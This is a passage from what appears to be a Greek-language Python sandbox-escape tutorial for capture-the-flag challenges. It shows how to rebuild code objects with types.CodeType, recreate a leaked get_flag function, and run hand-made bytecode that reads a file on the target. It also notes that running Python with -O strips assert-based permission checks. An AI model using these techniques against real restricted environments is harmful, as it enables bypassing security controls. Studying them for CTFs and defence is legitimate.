code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
Ανάλογα με την έκδοση της Python, οι παράμετροι του code_type μπορεί να έχουν διαφορετική σειρά. Ο καλύτερος τρόπος για να μάθετε τη σειρά των παραμέτρων στην έκδοση της Python που χρησιμοποιείτε είναι να εκτελέσετε:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Αναπαραγωγή μιας διαρρευσμένης συνάρτησης
Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για την αναπαραγωγή της συνάρτησης απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα πραγματικό παράδειγμα, όλες οι τιμές για την εκτέλεση της συνάρτησης code_type είναι αυτό που θα χρειαστείτε να διαρρεύσετε.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Αντιστροφή Αμυνών
Στα προηγούμενα παραδείγματα στην αρχή αυτής της ανάρτησης, μπορείτε να δείτε πώς να εκτελέσετε οποιοδήποτε κώδικα Python χρησιμοποιώντας τη λειτουργία compile. Αυτό είναι ενδιαφέρον επειδή μπορείτε να εκτελέσετε ολόκληρα σενάρια με βρόχους και τα πάντα σε μια γραμμή κώδικα (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας το exec).
Πάντως, μερικές φορές θα μπορούσε να είναι χρήσιμο να δημιουργήσετε ένα μεταγλωττισμένο αντικείμενο σε ένα τοπικό μηχάνημα και να το εκτελέσετε στο μηχάνημα CTF (για παράδειγμα επειδή δεν έχουμε τη λειτουργία compile στο CTF).
Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει το ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
Αν δεν μπορείτε να έχετε πρόσβαση στο eval ή exec, μπορείτε να δημιουργήσετε μια κανονική συνάρτηση, αλλά η κλήση της απευθείας συνήθως αποτυγχάνει με: constructor not accessible in restricted mode. Έτσι, χρειάζεστε μια συνάρτηση που δεν βρίσκεται στο περιορισμένο περιβάλλον για να καλέσετε αυτήν τη συνάρτηση.
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο -O θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που εξαρτάται από την τιμή του debug.
Επομένως, ελέγχοι όπως
defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")